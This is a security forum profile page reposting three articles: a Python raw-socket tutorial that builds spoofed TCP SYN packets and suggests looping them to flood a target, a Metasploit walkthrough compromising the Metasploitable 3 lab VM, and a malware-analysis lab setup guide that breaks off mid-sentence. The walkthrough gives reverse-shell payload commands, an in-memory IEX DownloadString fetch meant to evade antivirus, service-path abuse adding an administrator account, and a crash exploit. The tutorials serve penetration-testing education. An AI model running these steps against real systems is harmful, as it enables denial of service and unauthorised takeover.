• Content count

  • Joined

  • Last visited

  • Days Won


Usr6 last won the day on June 6

Usr6 had the most liked content!

Community Reputation

1821 Excellent


About Usr6

  • Rank
    Registered user
  • Birthday 01/01/19

Profile Information

  • Gender


  • Interests
    Malware Analysis, Software Testing, Reverse , etc.

Recent Profile Visitors

2505 profile views
  1. Raw sockets allow a program or application to provide custom headers for the specific protocol(tcp ip) which are otherwise provided by the kernel/os network stack. In more simple terms its for adding custom headers instead of headers provided by the underlying operating system. Raw socket support is available natively in the socket api in linux. This is different from windows where it is absent (it became available in windows 2000/xp/xp sp1 but was removed later). Although raw sockets dont find much use in common networking applications, they are used widely in applications related to network security. In this article we are going to create raw tcp/ip packets. For this we need to know how to make proper ip header and tcp headers. A packet = Ip header + Tcp header + data. So lets have a look at the structures. Ip header According to RFC 791 0 1 2 3 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |Version| IHL |Type of Service| Total Length | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Identification |Flags| Fragment Offset | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Time to Live | Protocol | Header Checksum | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Source Address | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Destination Address | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Options | Padding | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ Every single number is 1 bit. So for example the Version field is 4 bit. The header must be constructed exactly like shown. TCP header Next comes the TCP header. According to RFC 793 0 1 2 3 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Source Port | Destination Port | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Sequence Number | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Acknowledgment Number | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Data | |U|A|P|R|S|F| | | Offset| Reserved |R|C|S|S|Y|I| Window | | | |G|K|H|T|N|N| | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Checksum | Urgent Pointer | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Options | Padding | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | data | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ Create a raw socket Raw socket can be created in python like this #create a raw socket try: s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW) except socket.error , msg: print 'Socket could not be created. Error Code : ' + str(msg[0]) + ' Message ' + msg[1] sys.exit() To create raw socket, the program must have root privileges on the system. For example on ubuntu run the program with sudo. The above example creates a raw socket of type IPPROTO_RAW which is a raw IP packet. Means that we provide everything including the ip header. Once the socket is created, next thing is to create and construct the packet that is to be send out. C like structures are not available in python, therefore the functions called pack and unpack have to be used to create the packet in the structure specified above. So first, lets make the ip header 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 source_ip = '' dest_ip = '' # or socket.gethostbyname('') # ip header fields ip_ihl = 5 ip_ver = 4 ip_tos = 0 ip_tot_len = 0 # kernel will fill the correct total length ip_id = 54321 #Id of this packet ip_frag_off = 0 ip_ttl = 255 ip_proto = socket.IPPROTO_TCP ip_check = 0 # kernel will fill the correct checksum ip_saddr = socket.inet_aton ( source_ip ) #Spoof the source ip address if you want to ip_daddr = socket.inet_aton ( dest_ip ) ip_ihl_ver = (version << 4) + ihl # the ! in the pack format string means network order ip_header = pack('!BBHHHBBH4s4s' , ip_ihl_ver, ip_tos, ip_tot_len, ip_id, ip_frag_off, ip_ttl, ip_proto, ip_check, ip_saddr, ip_daddr) Now ip_header has the data for the ip header. Now the usage of pack function, it packs some values has bytes, some as 16bit fields and some as 32 bit fields. Next comes the tcp header 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 # tcp header fields tcp_source = 1234 # source port tcp_dest = 80 # destination port tcp_seq = 454 tcp_ack_seq = 0 tcp_doff = 5 #4 bit field, size of tcp header, 5 * 4 = 20 bytes #tcp flags tcp_fin = 0 tcp_syn = 1 tcp_rst = 0 tcp_psh = 0 tcp_ack = 0 tcp_urg = 0 tcp_window = socket.htons (5840) # maximum allowed window size tcp_check = 0 tcp_urg_ptr = 0 tcp_offset_res = (tcp_doff << 4) + 0 tcp_flags = tcp_fin + (tcp_syn << 1) + (tcp_rst << 2) + (tcp_psh <<3) + (tcp_ack << 4) + (tcp_urg << 5) # the ! in the pack format string means network order tcp_header = pack('!HHLLBBHHH' , tcp_source, tcp_dest, tcp_seq, tcp_ack_seq, tcp_offset_res, tcp_flags, tcp_window, tcp_check, tcp_urg_ptr) The construction of the tcp header is similar to the ip header. The tcp header has a field called checksum which needs to be filled in correctly. A pseudo header is constructed to compute the checksum. The checksum is calculated over the tcp header along with the data. Checksum is necessary to detect errors in the transmission on the receiver side. Code Here is the full code to send a raw packet 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 ''' Raw sockets on Linux Silver Moon ( ''' # some imports import socket, sys from struct import * # checksum functions needed for calculation checksum def checksum(msg): s = 0 # loop taking 2 characters at a time for i in range(0, len(msg), 2): w = ord(msg) + (ord(msg[i+1]) << 8 ) s = s + w s = (s>>16) + (s & 0xffff); s = s + (s >> 16); #complement and mask to 4 byte short s = ~s & 0xffff return s #create a raw socket try: s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW) except socket.error , msg: print 'Socket could not be created. Error Code : ' + str(msg[0]) + ' Message ' + msg[1] sys.exit() # tell kernel not to put in headers, since we are providing it, when using IPPROTO_RAW this is not necessary # s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) # now start constructing the packet packet = ''; source_ip = '' dest_ip = '' # or socket.gethostbyname('') # ip header fields ip_ihl = 5 ip_ver = 4 ip_tos = 0 ip_tot_len = 0 # kernel will fill the correct total length ip_id = 54321 #Id of this packet ip_frag_off = 0 ip_ttl = 255 ip_proto = socket.IPPROTO_TCP ip_check = 0 # kernel will fill the correct checksum ip_saddr = socket.inet_aton ( source_ip ) #Spoof the source ip address if you want to ip_daddr = socket.inet_aton ( dest_ip ) ip_ihl_ver = (ip_ver << 4) + ip_ihl # the ! in the pack format string means network order ip_header = pack('!BBHHHBBH4s4s' , ip_ihl_ver, ip_tos, ip_tot_len, ip_id, ip_frag_off, ip_ttl, ip_proto, ip_check, ip_saddr, ip_daddr) # tcp header fields tcp_source = 1234 # source port tcp_dest = 80 # destination port tcp_seq = 454 tcp_ack_seq = 0 tcp_doff = 5 #4 bit field, size of tcp header, 5 * 4 = 20 bytes #tcp flags tcp_fin = 0 tcp_syn = 1 tcp_rst = 0 tcp_psh = 0 tcp_ack = 0 tcp_urg = 0 tcp_window = socket.htons (5840) # maximum allowed window size tcp_check = 0 tcp_urg_ptr = 0 tcp_offset_res = (tcp_doff << 4) + 0 tcp_flags = tcp_fin + (tcp_syn << 1) + (tcp_rst << 2) + (tcp_psh <<3) + (tcp_ack << 4) + (tcp_urg << 5) # the ! in the pack format string means network order tcp_header = pack('!HHLLBBHHH' , tcp_source, tcp_dest, tcp_seq, tcp_ack_seq, tcp_offset_res, tcp_flags, tcp_window, tcp_check, tcp_urg_ptr) user_data = 'Hello, how are you' # pseudo header fields source_address = socket.inet_aton( source_ip ) dest_address = socket.inet_aton(dest_ip) placeholder = 0 protocol = socket.IPPROTO_TCP tcp_length = len(tcp_header) + len(user_data) psh = pack('!4s4sBBH' , source_address , dest_address , placeholder , protocol , tcp_length); psh = psh + tcp_header + user_data; tcp_check = checksum(psh) #print tcp_checksum # make the tcp header again and fill the correct checksum - remember checksum is NOT in network byte order tcp_header = pack('!HHLLBBH' , tcp_source, tcp_dest, tcp_seq, tcp_ack_seq, tcp_offset_res, tcp_flags, tcp_window) + pack('H' , tcp_check) + pack('!H' , tcp_urg_ptr) # final full packet - syn packets dont have any data packet = ip_header + tcp_header + user_data #Send the packet finally - the port specified has no effect s.sendto(packet, (dest_ip , 0 )) # put this in a loop if you want to flood the target Run the above program from the terminal and check the network traffic using a packet sniffer like wireshark. It should show the packet. Raw sockets find application in the field of network security. The above example can be used to code a tcp syn flood program. Syn flood programs are used in Dos attacks. Raw sockets are also used to code packet sniffers, port scanners etc. sursa:
  2. Step by step Metasploit walkthrough Usually, the ultimate goal is to get a root shell on the target machine, meaning you have total control over that machine. I will demonstrate step by step how to obtain a root shell on the Metasploitable 3 virtual machine using Metasploit. You will see that hacking is not always straightforward and more than often, you need to start again or find alternative solutions. To start, I booted the freshly created Metasploitable 3 VM and logged in as the vagrant user. Let's go. Step 1: Reconaissance Before actually hacking your way in, you need to find more information about your target. You have to find out the ip adress, running services and possible vulnerable services to choose your attack vector. Let's start with a simple netdiscover scan to find the IP adress of our target. To do so, just type netdiscover in your terminal. I know is my own adress, so the ip adress of my host should be Note: as I wrote this blogpost over a longer period, the used ip addresses later in this blogpost of the target machine can vary from to Let's continue with an Nmap scan to find running services: nmap -sV Copy We find an Apache webserver running on port 8022. Let's look into that. Open firefox and enter the IP adress + the port: We see that Desktop Central 9 software is running on port 8022. A quick google search learns us there is an exploit available! Bingo! Step 2: exploit a service to get a shell Now we have identified a vulnerable service and an available exploit, it's start to exploit the machine: Start Metasploit by running msfconsole in the terminal or click the shortcut. You can find the path for the exploit we found above by entering: search ManageEngine Copy After executing the search command, we find the Manage Engine Desktop Central 9 exploit we've found via google. To start using the exploit, type the path as highlighted in the previous screen. You can use tab for autocomplete. use exploit/windows/http//manageengine_connectionid_write Copy Now the exploit is loaded. Personally, I always run show options to see which settings are available and which are required. We see 3 required settings here: RHOST: the target address. This will be the IP address of our target host - RPORT: the target port. During our Nmap portscan, we found the service running on 8022. TARGETURI : the path for the Desktop Central software. Leave this is the standard setting. To set your own settings, you need to execute set SETTING value, e.g.: set RHOST Copy set RPORT 8022 Copy Understanding the difference between the concepts vulnerability, payload and exploit is important. The payload is the actual code you wish to execute, whilst the exploit is a way to deliver the payload. A vulnerability is a weak spot in the system that allows the exploit to work. If you take the analogy of a rocket, the rocket is the exploit whilst the warhead is the payload, delivering the actual damage. Now we have setup the exploit, we need to attach a payload to it. Usually, our payload is spawning a reverse shell to us, allowing us to interact with the target system. This means we are going to execute specific code on the target machine that will setup a shell (command line) back to us. There are different shells that can be spawned when attacking a Windows machine, such as a windows command line or a Windows powershell. A very interesting payload is meterpreteter one because it is capable of so much more of simpy spawning a shell. Meterpreter is an advanced multi-function payload that is superior to other payloads because in contrast to other payloads that execute one command (such as adding a user or spawning a shell), meterpreter can be seen as an interactive shell allowing you to download/upload files, dump password hashes, spawn shells, installing backdoor, privilege escalation and so on. Another significant advantage is that meterpeter fully resides in the memory by using DLL injection in existing processes without touching the disk. Furthermore, it can migrate from one process to another to make detection very difficult. To carry out its tasks, it does not create other processes which would be easily picked up by Antiviruses or Itrusion Detection Systems. To attach a meterpreter payload to our exploit, use the following command: set payload windows/meterpreter/reverse_tcp Copy If you run show options again now, you will see that Payloads options are visible now: LHOST: the host where the meterpreter will connect back to. This will be the address of our own Kali VM LHOST: the port where the meterpreter will connect back to. Choose any available port you like or leave it on 4444. Set our listen adress to our own address: set LHOST Copy We're set to fire the exploit. Simply type: exploit Copy As shown on the screenshot below, you see the exploit worked and the payload was activated and provided us with a meterpreter shell. To check our current privilege, type getuid. Unfortunately, we only have a lower privilege shell. Because we only have a lower privilege shell with limited access, to fully compromise the machine we will need to escalate our privileges. There are number of options available, but always try the easy way first. Execute getsystem to try Meterpreter to execute a few tricks in its sleeve to attempt automated privilege escalation. Unfortunately, it didn't work this time. To spawn a local shell (in this case Windows Command Line), just type shell. A very powerful Windows privilege escalation framework is Powersploit, written in Powershell. We downloaded and extracted the zip file on our Desktop in a folder Powersploit. We will start a web server with PowerShell, so we can easily call them via our meterpreter shell. Navigate to the unzipped folder and start a web server via the following command: We're set to fire the exploit. Simply type: python -m SimpleHTTPServer Copy Let's return to our Meterpreter session. It is possible to spawn a Powershell shell within Meterpreter but it's far easier to load scripts such as Powersploit if you immediately spawn a reverse PowerShell with the payload. To do so, we will exit the meterpreter session and add a PowerShell payload instead of a meterpreter payload to our exploit by entering the command below. Quickly check show options to verify if the listen address is still correct. set payload windows/powershell_reverse_tcp Copy And we have a PowerShell session! You can ignore the Invoke-Expression errors. This is where it gets a bit more advanced. We can not just download Powersploit to our target system, as this will more than likely raise red flags by Antivirus systems. To avoid this, we will directly download the script from the web server we just created and execute a PowerSploit script in the memory without touching the disk. We are going to use PowerUp.ps1, which is a specially crafted PowerShell script that is part of the PowerSploit framework. To download the script in the memory, execute the following command in PowerShell: IEX(New-Object Net.WebClient).DownloadString("") Copy Next, we execute a function from the scripts called Invoke-AllChecks, which will check the target host for attack vectors for privilege escalation. To make it easier to read, we will output the result to a file named allchecks.txt Invoke-AllChecks | Out-File allchecks.txt Copy To check-out the results, open a new terminal and launch a new instance of Metasploit and get the meterpreter shell up again (we should have saved our previous session instead of terminating it). To do so, repeat the steps as you did last time but choose another listening port as we are already using 4444 in our PowerShell session (see left terminal window on the screenshot below). Now we have two shells running on the same target host, a PowerShell and a meterpreter shell. To download the all-checks.txt file, execute download allchecks.txt with meterpreter. Download a copy of the allchecks.txt here. As you can read in the allchecks.txt file, the script checks the target system for privilege escalation vulnerabilities such as unquoted servicepaths, hackable DLL locations, unattended install files, etc.. Let's focus on these unquoted servicepaths and service executable and argument permissions. Basically, these are improperly configured service paths where custom commands can be added to. As services are run by the system user, this would mean that our custom command also is executed as system user. Nice! The catch however is that you also need improperly configured write access rights to these services to add your custom command. PowerSploit makes it easy for you and gives you the abuse functions you need to execute to exploit a possible vulnerability. By example, for abusing the service Jenkins, we would need to execute the following command: Install-ServiceBinary -Name 'jenkins'. Unfortunately, after executing all given commands, we were not able to abuse a function due to no write access rights. Maybe PowerSploit didn't catch all unquoted servicepaths. Let's check manually in our open meterpreter shell. First get a Windows Command Line by executing shell. Execute the following command: wmic service get name,displayname,pathname,startmode |findstr /i "auto" |findstr /i /v "c:\windows\\" |findstr /i /v """ Copy Using this method, we find 4 possible vulnerable services. One of these services, OpenSSHd was not in the list of PowerSploit. Let's try to exploit this service. Attempt exploitation of the service OpenSSHd by executing the following command in PowerShell. We see that the PowerShell session closed immediately. With some luck, the command was installed anyway. According to the Readme of PowerSploit, when using the command below the user John with password Password123! should be added to the administrators group. Install-ServiceBinary -Name 'OpenSSHd' Copy Let's try to restart the service with net stop OpenSSHd and net start OpenSSHd and see if our command kicks in. Unfortunately, we have no access to start or stop a service. I also quickly verified if the user John was added, but no luck. There is another way to restart a service, and that's forcing a reboot of our target host. Let's run Nmap to see if the host is vulnerable to some attacks to force a reboot. We found a vulnerability to the MS12-020 bug, exploited by CVE-2012-0002. Type back in the Metasploit console where our PowerShell just closed down and follow the same procedure as last time: search for the exploit, configure the exploit and and execute it. This exploits sends a sequence of specially crafted RDP packets to an affected system causing it to crash and reboot. (make sure to watch your Metasploitable 3 VM when launching this exploit) Your active Windows Command Line shell will have died because of the reboot. When the machine is back online, simply type exploit again to reconnect to the meterpreter shell. Spawn a Windows Command Line by executing shell and check with net users if our exploit worked. It worked! We have created a new user named John, which is part of the Administrators group. We know from the PowerSploit Readme that his password is Password123!. Next step is to actually login with our new Administrator and get a root shell. Let's try the famous PSExec exploit with our new Administrator details. Another cool trick is spawning a remote Desktop. Could be very usefull for enumeration of the box or disabling firewall (rules) if the PSExec should not work. Sursa:
  3. In this post we will set up a virtual lab for malware analysis. We’ll create an isolated virtual network separated from the host OS and from the Internet, in which we’ll setup two victim virtual machines (Ubuntu and Windows 7) as well as an analysis server to mimic common Internet services like HTTP or DNS. Then, we’ll be able to log and analyze the network communications of any Linux or Windows malware, which will unknowingly connect to our server instead of the Internet. We demonstrate the setup with a real life use case where we analyze the traffic of the infamous TeslaCrypt ransomware, a now defunct ransomware which infected a large number of systems from 2015 to mid-2016. Diagram of our future setup. Note that the machines in the virtual network will be isolated from the host OS and will not be able to connect to the Internet. This guide includes quite a lot of material, so here’s a table of contents to give you an overview of what we’ll cover and let you jump directly to a section if you’d like. Creating the virtual machines Setup of the analysis machine: INetSim, Burp Creating an isolated virtual network Creating and restoring snapshots Using INetSim and Burp on the analysis machine to analyze the network traffic Setting up a shared folder between the analysis machine and the host OS Demo time: the TeslaCrypt ransomware Conclusion 1. Creating the virtual machines Here are two links you can use to download Ubuntu and Windows 7 virtual machine images. Ubuntu (victim machine 1 and analysis machine): download Ubuntu 16.10 64 bits from OsBoxes (direct link) Windows 7 (victim machine 2): download from the Microsoft Developer Website (select IE 11 on Win 7 (x86) and VirtualBox) Tip: if you already have an Ubuntu virtual machine you’re not using, you can simply clone it and reuse it in the next steps (right click > Clone). Before starting, make sure you have enough disk space available (I’d recommend at least 10-20 GB). Base Ubuntu machine OsBoxes provides us with a ready-to-go virtual disk that we can simply plug on a VM and start using right away. Start by extracting the archive you just downloaded. $ 7za e Ubuntu_16.10_Yakkety-VB-64bit.7z You’ll be provided with a VDI file representing the virtual disk of the machine. We’ll start by setting up the base Ubuntu image, which we will then clone to have our two Ubuntu VMs. In VirtualBox, create a new machine (New button), and call it Ubuntu analysis. Then, select how much RAM you want to give it. At this point, VirtualBox will ask you if you wish to create a new virtual hard disk or use an already exiting one. Select Use an existing virtual hard disk file, click on the directory icon at the right of the dropdown list, and select the VDI file. You can then power up the machine. The default password is Basic setup The default keyboard uses the QWERTY layout. If like me you’re not familiar with it, start by changing it (Settings > Text Entry). Optionally, you can also change the default password using: $ passwd osboxes It can also be a good idea to update your packages. $ sudo apt-get update $ sudo apt-get upgrade Install the guest additions Select Devices > Insert guest additions CD image in the menu of the window in which the VM runs. You will then be asked if you want to run the installer; answer yes, and enter the default password (by default Once the installation is complete, power off the VM. Cloning Now that you have a basic Ubuntu VM ready to go, clone it (right click on it in the main VirtualBox interface > Clone). Name the clone Ubuntu victim, and check the checkbox to reinitialize its MAC address. Select Full clone for the type of clone. The two Ubuntu VMs created Windows 7 machine The download link I provided earlier points to a ZIP archive containing a OVA file. Unlike a VDI file it’s not only a virtual disk, but a full description of the virtual machine (including its virtual disk), so the only thing you need to do to create a virtual machine from it is to select File > Import Appliance in the main window of VirtualBox. If you can afford it, it’s probably better to give it at least 1024 MB of RAM. Once the import process is complete (it can take a few minutes), rename the VM Windows 7 victim and power it on. Install the guest additions Select Devices > Insert guest additions CD image in the menu of the window in which the VM runs, and run the installer from the virtual CD which has been inserted. When you’re done, power off the machine. 2. Setup of the analysis machine: INetSim, Burp INetSim INetSim is a very handy and powerful utility that allows to simulate a bunch of standard Internet services on a machine. By default, it will among others emulate a DNS, HTTP and SMTP that you can easily tune. Since we’ll later configure our victim machines to have no Internet access, we will need INetSim to simulate it. There are several ways to install INetSim. The easiest is to run the following commands (in the analysis machine). $ sudo su $ echo "deb binary/" > /etc/apt/sources.list.d/inetsim.list $ wget -O - | apt-key add - $ apt update $ apt install inetsim Note: in order to be able to copy-paste those commands in your analysis machine, select Devices > Shared Clipboard > Bidirectional. We’ll come back later on how to use INetSim. Burp Unfortunately, it seems that INetSim’s SSL support is quite limited: it comes with a certificate for a single host ( and doesn’t support generating SSL certificates on the fly. This is a problem since most malwares nowadays encrypt their communications with SSL. We’ll use Burp as a transparent SSL proxy, which will stand in the middle of the victim machines and INetSim for SSL connections. If you don’t need to intercept SSL traffic for now, you won’t necessarily need Burp. Burp supports generating on-the-fly SSL certificates for any our victim machines will connect to. It also creates a single root CA certificate, that we’ll later import in our victim machines. This way, we’ll be able to intercept the encrypted communications that our malware sends. You can download Burp from the official website. The download is a bash installation script, run it to install Burp: $ bash ~/Downloads/ By default, the Burp executable will be ~/BurpSuiteFree/BurpSuiteFree. 3. Setting up an isolated virtual network As a reminder, we want to set up an isolated network containing our three VMs. This network will not be able to access the Internet. Also, we want the analysis machine to act as a network gateway to the victim machines in order to easily be able to intercept the network traffic and to simulate various services such as DNS or HTTP. In order to achieve this, we will use a VirtualBox Internal Network. For those familiar with VirtualBox, an internal network differs from a host-only network in that an internal network cannot access the host machine at all. For each of your three virtual machines, do the following: Open its settings Go to the Network section Change the Attached to field to Internal network Enter malware-analysis-network as the network name Network configuration Analysis machine Power on the analysis machine, open a terminal, and run the ifconfig command. You should have an interface named enp0s3. If the name differs, just adapt it in the instructions to follow. Open the file /etc/network/interfaces as root, and add the following at the end: auto enp0s3 iface enp0s3 inet static address netmask This will assign the machine the static IP on our virtual network. Now that we have configured the network interface, we need to start it up using: $ sudo ifup enp0s3 Ubuntu victim machine The process is very similar here, except that we’ll assign it the static IP, and instruct it to use as a gateway and as a DNS server. Append the following at the end of the file /etc/network/interfaces : auto enp0s3 iface enp0s3 inet static address gateway netmask dns-nameservers And run: $ sudo ifup enp0s3 $ sudo service networking restart You should now be able to ping the analysis machine: $ ping PING ( 56(84) bytes of data. 64 bytes from icmp_seq=1 ttl=64 time=0.480 ms 64 bytes from icmp_seq=2 ttl=64 time=0.526 ms Windows 7 victim machine Right-click on the network icon in the taskbar (or go to Start Menu > Control Panel > Network and Internet > Network and Sharing center), click on Local Area Connection 2 > Properties, select on Internet Protocol Version 4, and click on the Properties button. We’ll assign the static IP to the machine, and configure the rest similarly to the Ubuntu victim machine. Network settings Make sure to validate the settings (click on OK, Apply, etc. until all the settings windows are gone). You should now be able to ping the analysis machine: > ping Pinging with 32 bytes of data: Reply from bytes=32 time<1ms TTL=64 Reply from bytes=32 time<1ms TTL=64 All set! 4. Creating and restoring snapshots Now that our victim VMs are properly configured and are in a clean state (i.e. not infected by any kind of malware), we are going to make a snapshot of their current state. This way, we will be able to easily reset them to this clean state at any point time. VirtualBox makes this very easy: in the window in which the VM is running, just select Machine > Take Snapshot. You can name the snapshot Clean state. Make sure to do this for both your Ubuntu and Windows 7 victim machines. It doesn’t hurt to do it for your analysis machine as well. When you’ll want to reset a machine to its clean state, simply power it off and check the checkbox Restore current snapshot ‘Clean state’. 5. Using INetSim and Burp on the analysis machine to analyze the network traffic INetSim As previously mentioned, INetSim enables us to wide range of standard Internet services including DNS, HTTP(S), SMTP, etc. It has a default configuration file /etc/inetsim/inetsim.conf which is very well documented. It also ships with a data directory (/var/lib/inetsim) containing various default files. Since you’ll probably want a different INetSim configuration each time you make a new analysis, I suggest you create a directory analysis which will contain a sub directory for each analysis. $ mkdir analysis We’ll already create a sub directory for the sake of example, and copy the default INetSim configuration file and data folder in it. $ mkdir analysis/test-analysis $ cp /etc/inetsim/inetsim.conf analysis/test-analysis $ sudo cp -r /var/lib/inetsim analysis/test-analysis/data $ sudo chmod -R 777 data $ cd analysis/test-analysis By default, INetSim listens on the local interface only. To make it available to all the machines of our virtual network, replace the following line in the configuration file we just copied: #service_bind_address By: service_bind_address Now, we need to disable systemd-resolved, which is a local DNS server shipped by default with Ubuntu and will conflict with INetSim’s DNS server. $ sudo systemctl disable systemd-resolved.service $ sudo service systemd-resolved.service stop By default, INetSim’s DNS server will resolve all the domain names to We want any domain name to resolve to (the analysis machine IP) instead; uncomment the following line: #dns_default_ip I mentioned earlier that INetSim’s SSL support is not optimal since it only has a single certificate for a single hostname ( and doesn’t allow to generate per-host certificates on the fly. To overcome that, we’ll run Burp on port 443 as a transparent proxy in front of INetSim. Therefore, we need to bind INetSim’s HTTPS server to a different port, say port 8443. Replace the following line: #https_bind_port 443 By: https_bind_port 8443 Now, let’s run INetSim! $ sudo inetsim --data data --conf inetsim.conf INetSim 1.2.6 (2016-08-29) by Matthias Eckert & Thomas Hungenberg [...] === INetSim main process started (PID 3605) === Session ID: 3605 Listening on: Real Date/Time: 2017-06-04 12:58:07 Fake Date/Time: 2017-06-04 12:58:07 (Delta: 0 seconds) Forking services... * dns_53_tcp_udp - started (PID 3621) * irc_6667_tcp - started (PID 3631) * daytime_13_tcp - started (PID 3638) * discard_9_tcp - started (PID 3642) * discard_9_udp - started (PID 3643) * ident_113_tcp - started (PID 3634) * syslog_514_udp - started (PID 3635) [...] As you can see, INetSim has launched a bunch of network services. Those are all configurable and can be disabled in the configuration file. This configuration file is very well documented and explains all the options of INetSim; I recommend you take a few minutes to read it. Now, power on of your victim VM, open a web browser, and browse to any address (e.g. You should see the following: (Note that this default file corresponds to the HTML file data/http/fakefiles/sample.html.) Back on the analysis machine, shut down INetSim (CTRL + C). * dns_53_tcp_udp - stopped (PID 3621) * irc_6667_tcp - stopped (PID 3631) * daytime_13_tcp - stopped (PID 3638) [...] Simulation stopped. Report written to '/var/log/inetsim/report/report.3877.txt' (24 lines) As you can see, INetSim has created a summary report for us. It contains all the interactions our victim machine had with INetSim services. === Report for session '3877' === Real start date : 2017-06-04 13:18:27 Simulated start date : 2017-06-04 13:18:27 Time difference on startup : none 2017-06-04 13:18:38 First simulated date in log file 2017-06-04 13:18:40 DNS connection, type: A, class: IN, requested name: 2017-06-04 13:18:40 HTTP connection, method: GET, URL:, file name: data/http/fakefiles/sample.html 2017-06-04 13:18:40 HTTP connection, method: GET, URL:, file name: data/http/fakefiles/sample.html 2017-06-04 13:18:40 Last simulated date in log file Burp for SSL interception To be able to analyze the SSL traffic, we also need to run Burp. We’ll run it as a transparent proxy in front of INetSim. When a victim machine will initiate a SSL connection, it will first go to Burp, which will then proxy it to INetSim. This section is not mandatory: if you don’t need to intercept SSL traffic right now, just jump to the next section. Here’s how it will look like with Burp in the middle: Start Burp as root: $ sudo /home/osboxes/BurpSuiteFree/BurpSuiteFree (We need to run it as root otherwise it won’t be able to bind port 443, which is a privileged port. There are other ways to do this, but let’s not bother here) Create a temporary project (you don’t have any other options with the free version anyway), and go to the Proxy tab, then to the Options sub-tab. You’ll see Burp’s default listener listening on port 8080. Click on the row corresponding to the default listener, and edit it (Edit) button. Configure it as follows: Binding tab Bind to port: 443 Bind to address: all interfaces Request handling tab: Redirect to host: localhost Redirect to port: 8443 Check Support invisible proxying Validate the settings, and you should get a listener similar to: By default, Burp intercepts the incoming requests and waits for you to explicitly let them pass through. To avoid this, go to the Intercept tab and click the button Intercept is on to disable it. Since Burp Free doesn’t allow you to save a project, you can export the settings we just made in order to import them next time you start Burp. To do this, use Burp > Project options > Save project options. Let’s make sure our setup if correctly working. Start INetSim, and run: $ curl --insecure https://localhost You should get: <html> <head> <title>INetSim default HTML page</title> </head> <body> <p></p> <p align="center">This is the default HTML page for INetSim HTTP server fake mode.</p> <p align="center">This file is an HTML document.</p> </body> </html> Importing Burp’s CA certificate on our victim machines Power on your Windows 7 victim machine, and try to browse to a HTTPS URL (e.g., you’ll see a warning similar to: This is because Burp generates a SSL certificate signed by its own CA certificate, which our victim machine doesn’t trust for now. In Burp, add a new proxy listener on port 8080, listening on all interfaces (tab Proxy > Options > button Add): Then, from the victim machine, browse to Click on CA Certificate in the top-right corner to download Burp’s CA certificate. On the Windows 7 victim machine: open the file, click Install certificate > Next > Place all certificates in the following store: Trusted Root Certification Authorities > Next On the Ubuntu victim machine: Convert the certificate to the appropriate format (.crt) using $ openssl x509 -in ~/Downloads/cacert.der -inform DER -out burp.crt Copy it to /usr/local/share/ca-certificates $ sudo cp burp.crt /usr/local/share/ca-certificates/ Run $ sudo update-ca-certificates Firefox by default doesn’t use the system’s certificate store. If you want the SSL connection to work properly in Firefox as well, go to the Firefox settings into Advanced > Certificates > Import. Choose burp.crt, check Trust this CA to identify websites All set! Once you imported Burp’s CA certificate in the victim machines, make sure to create a new snapshot (e.g. Clean state with Burp’s CA certificate installed). 6. Setting up a shared folder between the analysis machine and the host OS At some point, you’ll obviously want to transfer some files to the analysis machine or to one of the victim machine; we’ll set up a file share to achieve it. In the VirtualBox running the analysis machine, go to Devices > Shared Folders > Shared folders settings. Create a new shared folder, choose the local folder of your host OS it should be mapped to, and choose a name. Check the checkbox to make it permanent. Now on the analysis machine, mount the shared folder: $ mkdir ~/malware-analysis-share $ sudo mount -t vboxsf -o uid=$UID,gid=$(id -g) malware-analysis-share ~/malware-analysis-share And you’re good to go. In my case, all the files of my host machine located in /home/christophetd/malware-analysis-share will also end up in ~/malware-analysis-share in the analysis machine. Transferring files to a victim machine At some point, you’ll most probably need to transfer some files (e.g. malware samples) to one of the victim machines. Setting up a file share for them is a bad idea, because it means the victim machine 